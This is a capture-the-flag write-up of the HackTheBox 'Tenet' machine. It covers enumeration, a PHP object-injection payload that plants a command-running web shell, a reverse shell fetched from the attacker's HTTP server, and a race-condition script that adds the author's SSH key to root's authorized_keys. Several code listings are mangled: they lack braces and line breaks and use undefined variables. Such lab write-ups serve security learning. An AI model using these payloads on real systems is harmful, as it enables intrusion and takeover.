Tenet HacktheBox WriteUp

Ashutosh Gupta
8 min readJun 6, 2021


Hello geeks I hope you all are doing good. So I am going to solve tenet a htb medium machine.


So let’s start with the nmap ..


nmap -sC -sV -oN nmap

Nmap scan report for
Host is up (0.16s latency).
Not shown: 998 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports are open i.e 22,80. Let’s see what’s there


Apache default page

So on port 80 there is a default page of Apache.

Let’s add tenet.htb to /etc/hosts.

Now we can access the website. Let’s see what’s there.

In the last I noticed that this website is running on wordpress. And we have one username as neil.

Let’s start the wpscan i.e wordpress scan to find anything suspicious.

$ wpscan --url tenet.htb
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.13
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: http://tenet.htb/ []
[+] Started: Sat Jan 23 18:34:04 2021
Interesting Finding(s):[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://tenet.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.6 identified (Latest, released on 2020-12-08).
| Found By: Rss Generator (Passive Detection)
| - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
| - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://tenet.htb/wp-content/themes/twentytwentyone/
| Last Updated: 2020-12-22T00:00:00.000Z
| Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.1
| Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
| Found By: Css Style In Homepage (Passive Detection)
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'
[+] Enumerating All Plugins (via Passive Methods)[i] No plugins Found.

As here we didn’t got as such thing. Let’s see neil comment.

As it says about two file:

  • sator.php
  • backup file

Firstly I tried to access the sator.php in tenet.htb but it wasn’t there. After some time and I got to know that we have add another vhost in /etc/hosts file i.e sator.tenet.htb. And then tried to access sator.php.


For the second file I run gobuster with custom wordlist. As it was saying for backup it means backup of some file.

I thought it might be the backup of any file. added .bak extension after every extension. And there I got another file sator.php.bak

$ cat sub.txt 

This wordlist is made of the comment which neil posted.

Let’s see what’s there in sator.php.bak.

sator.php.bak content<?phpclass DatabaseExport
public $user_file = 'users.txt';
public $data = '';
public function update_db()
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
public function __destruct()
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();

Here we need to perform php object Injection also called as deserialization.

For reference :

So I customize the code and inject the paylaod in the object.

<?phpclass DatabaseExport
public $user_file = 'ashu.php';
public $data = '<?php system("ls");?>';
public function update_db()
$this-> data = 'Success';
public function __destruct()
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
// echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
$input = new DatabaseExport;
$databaseupdate = serialize($input);
$app = new DatabaseExport;
$app -> update_db();

Here ashu.php is a file where to export the output and save in the ashu.php


O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"ashu.php";s:4:"data";s:21:"<?php system("ls");?>";}

So to give this payload in the server we have to add ?arepo= parameter


Then open ashu.php and you will see the output.


So now we will upload the php-reverse-shell to the server using python http server and download it using wget.

wget paylaod

python http server on port 80

Then pass the payload to the server

Then we will open ashu.php to complete the wget command to execute.

Now open the reverse_shell.php

Now open netcat on port 1234

So now we are www-data user. Let’s see how many users we have.

$ ls 

So we have one user name neil

WWW-DATA => neil:

Now we will run linpeas.sh on the machine to get more information about the machine.

So in the /var/www/html/wordpress we have wp-config.php. And there we got ssh credentials of neil.

username: neil
password: Opera2112

Now you can access the user.txt.

Neil => Root:

Now let’s see what we can run with sudo command.

sudo -l

So neil can run /usr/local/bin/enableSSH.sh can run with sudo permission. Let’s see what’s there in enableSSH.sh

#!/bin/bashcheckAdded() {sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then/bin/echo "Successfully added $sshName to authorized_keys file!"else/bin/echo "Error in adding $sshName to authorized_keys file!"fi}checkFile() {if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then/bin/echo "Error in creating key file!"if [[ -f $1 ]]; then /bin/rm $1; fiexit 1fi}addKey() {tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)(umask 110; touch $tmpName)/bin/echo $key >>$tmpNamecheckFile $tmpName/bin/cat $tmpName >>/root/.ssh/authorized_keys/bin/rm $tmpName}key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

As you can we have one variable name key which is having public key of root@ubuntu. And we have two functions name addkey and checkAdded.

In addkey it is making a temporary file in /tmp in the form ssh-XXXXXXXX. Then it is giving permission to the file using umask.


So it is giving permission like rw-rw-rwx to the ssh file. Then copying that key to the ssh(tempName) file. Then calling function checkAdded to check whether key is copied to the ssh-XXXXXX file or not. If not then it prints error.

So this script is having one flaw that we have approx 1 to 2 sec when it calls checkAdded function and check whether it is having key or not.

And between that 1 to 2 second we will add our own public to that ssh-XXXX file. Before going to bypass let’s what happen when we run this script.

If you don’t know how to configure ssh key then this will help you.

So I made a python script to copy our own id_rsa.pub to ssh-XXXXXXX.

import fnmatch
import os
s=str(fnmatch.filter(os.listdir('.'), 'ssh*'))
for i in range(0,1000):
os.system(f"echo {key} >>{file}")

As we don’t know the whole name of the file as it only starts with ssh-…. For this I used fnmatch to find the file name. In key you have to give your id_rsa.pub

And this script to run enableSSH.sh file.

import osfor i in range(0,1000):
os.system("sudo /usr/local/bin/enableSSH.sh")

I am running 0 to 1000 times because we will get only around 1 second to copy our key, so it is not possible to be done at one time.

There will be a chance you have to reset your machine. And there will be a chance you have to run script twice.

You have to run both script at same time like pressing both side enter fast.


As soon as both are done try to login with your id_rsa.pub with username root on your own pc.

And Boom!! we got root shell.

Thank you for reading the writeup and I hope you enjoyed it and learned some new. See you in next writeup.